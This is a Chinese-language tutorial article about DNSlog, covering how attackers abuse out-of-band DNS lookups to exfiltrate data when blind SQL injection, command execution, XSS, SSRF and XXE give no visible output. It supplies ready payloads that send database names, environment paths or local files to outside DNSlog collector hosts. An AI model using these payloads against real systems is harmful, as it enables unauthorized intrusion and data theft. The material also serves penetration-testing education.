DNS服务器

关注公众号 jb51net

关闭
首页 > 网站技巧 > 服务器 > DNS服务器 > DNSlog

深入理解DNSlog

作者:告白热

本文主要介绍了深入理解DNSlog,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

0x00 DNSlog 介绍

首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件,

0x01 DNSlog回显原理

首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如 gaobai.kxsy.com,
通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2 上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog,

0x02 DNSlog 应用

1.sql布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显可利用NDSlog
2.无回显的命令执行
推荐三个大众化的免费dns解析记录网站

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

0x03 DNSlog回显注入条件

1.数据库root权限,
2.数据库可读写权限,secure_file_priv值为空,上期笔记有说明,
3.windows系统,

0x04 DNSlog -sql注入

1.注册一个dns解析服务,利用唯一标识符,以无回显sql注入为例

利用标识符

2.注入测试 需要闭合语句 替换标识符 利用盲注回显

?id=1' and if((select load_file(concat('\\\\',(select database()),'.tlyypi.dnslog.cn\\abc'))),1,0)--+

记录到靶场数据库信息

在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。

0x05 DNSlog 其他应用

1.xss盲打

"<script src=http://XSS.XXXXX.ceye.io></script>"

2.SSRF

"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."

3.命令执行

" ping %PATH%.pxxx.ceye.io ..."

4.XXE

XXE漏洞可以解析外部实体,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://XXXX.ceye.io/%file;'>"
>
%all;

到此这篇关于深入理解DNSlog 的文章就介绍到这了,更多相关DNSlog内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
阅读全文